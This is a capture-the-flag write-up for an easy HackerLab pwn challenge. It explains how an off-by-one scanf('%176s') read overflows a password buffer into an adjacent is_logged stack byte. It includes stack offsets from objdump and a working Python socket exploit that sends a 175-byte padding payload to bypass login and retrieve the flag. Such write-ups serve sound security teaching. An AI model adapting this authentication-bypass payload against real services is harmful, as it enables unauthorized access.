Вход не для всех (Entry is not for everyone)
Вход не для всех (Entry is not for everyone)
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite adjacent stack variable, Input buffer manipulation for menu selection, scanf() buffer size mismatch exploitation, Static binary analysis with objdump
Summary
Task: Binary with login system using scanf("%176s") for password input. Solution: Buffer overflow overwrites adjacent is_logged variable on stack, bypassing authentication to get flag.
Вход не для всех (Entry is not for everyone) - HackerLab
Description
Дружище, сможешь ли ты пройти мою новую систему защиты? :sunglasses:
Binary file implements an authentication system with login and password.
Analysis
File Information
bash read-only • copy allowed$ file task.elf task.elf: ELF 64-bit LSB pie executable, x86-64, dynamically linked
Program Structure
The program implements a simple login system:
- Requests login (hardcoded: "admin")
- Requests password (verified via MD5 hash)
- After successful login shows menu:
- Get flag
- Echo
- Exit
Vulnerability
Analysis with objdump revealed a critical vulnerability:
scanf("%176s", password) // Reads up to 176 characters
Stack variable layout:
passwordbuffer:-0xb0(%rbp)= 176 bytes from rbpis_loggedvariable:-0x1(%rbp)= 1 byte from rbp
Offset: 0xb0 - 0x1 = 0xAF = 175 bytes
This means scanf reads exactly 176 characters, and the last character overwrites the is_logged variable!
Stack Layout
High addresses
+------------------+
| rbp |
+------------------+
| is_logged (1) | <- -0x1(%rbp)
+------------------+
| |
| password[176] | <- -0xb0(%rbp)
| |
+------------------+
Low addresses
scanf and fgetc Interaction
Key exploitation point:
scanf("%176s")reads up to 176 non-whitespace characters- Stops on whitespace or after 176 characters
- Remaining data stays in input buffer
fgetc()for menu selection reads the next character from the same buffer
Solution
Exploitation Strategy
- Send login "admin"
- Send payload:
175 bytes padding + "\x01" + "1\n" - scanf reads 176 bytes (padding + \x01), setting is_logged = 1
- "1\n" remains in buffer
- fgetc reads "1" as menu choice
- Program calls print_flag()
Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Exploit for "Вход не для всех" (Entry is not for everyone) HackerLab PWN Challenge Vulnerability: Buffer overflow in scanf("%176s") allows overwriting is_logged variable """ import socket import time def exploit(): HOST = '62.173.140.174' PORT = 27780 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((HOST, PORT)) # Receive login prompt s.recv(4096) # Send login s.send(b"admin\n") time.sleep(0.2) s.recv(4096) # Exploit payload: # - 175 bytes padding (to reach is_logged variable) # - \x01 to set is_logged = 1 (bypass password check) # - "1" as menu choice (Get flag) # - "\n" to complete input # # scanf("%176s") reads exactly 176 bytes (padding + \x01) # "1\n" remains in buffer # First fgetc() reads "1" as menu choice # Second fgetc() reads "\n" (consumed) # Program calls print_flag() payload = b"A" * 175 + b"\x01" + b"1\n" s.send(payload) time.sleep(0.5) # Receive flag response = s.recv(4096).decode() print(response) # Extract flag if "CODEBY{" in response: start = response.find("CODEBY{") end = response.find("}", start) + 1 flag = response[start:end] print(f"\n[+] FLAG: {flag}") s.close() if __name__ == "__main__": exploit()
Lessons
-
scanf width specifier:
%176sreads UP TO 176 characters, not 175. This is an off-by-one in developer's understanding. -
Stack layout matters: Variables on stack are placed in declaration order. Buffer before flag = potential vulnerability.
-
Input buffer sharing: scanf and fgetc use the same stdin buffer. Data after scanf remains available for fgetc.
-
Static analysis: objdump is sufficient to understand the vulnerability without running the binary.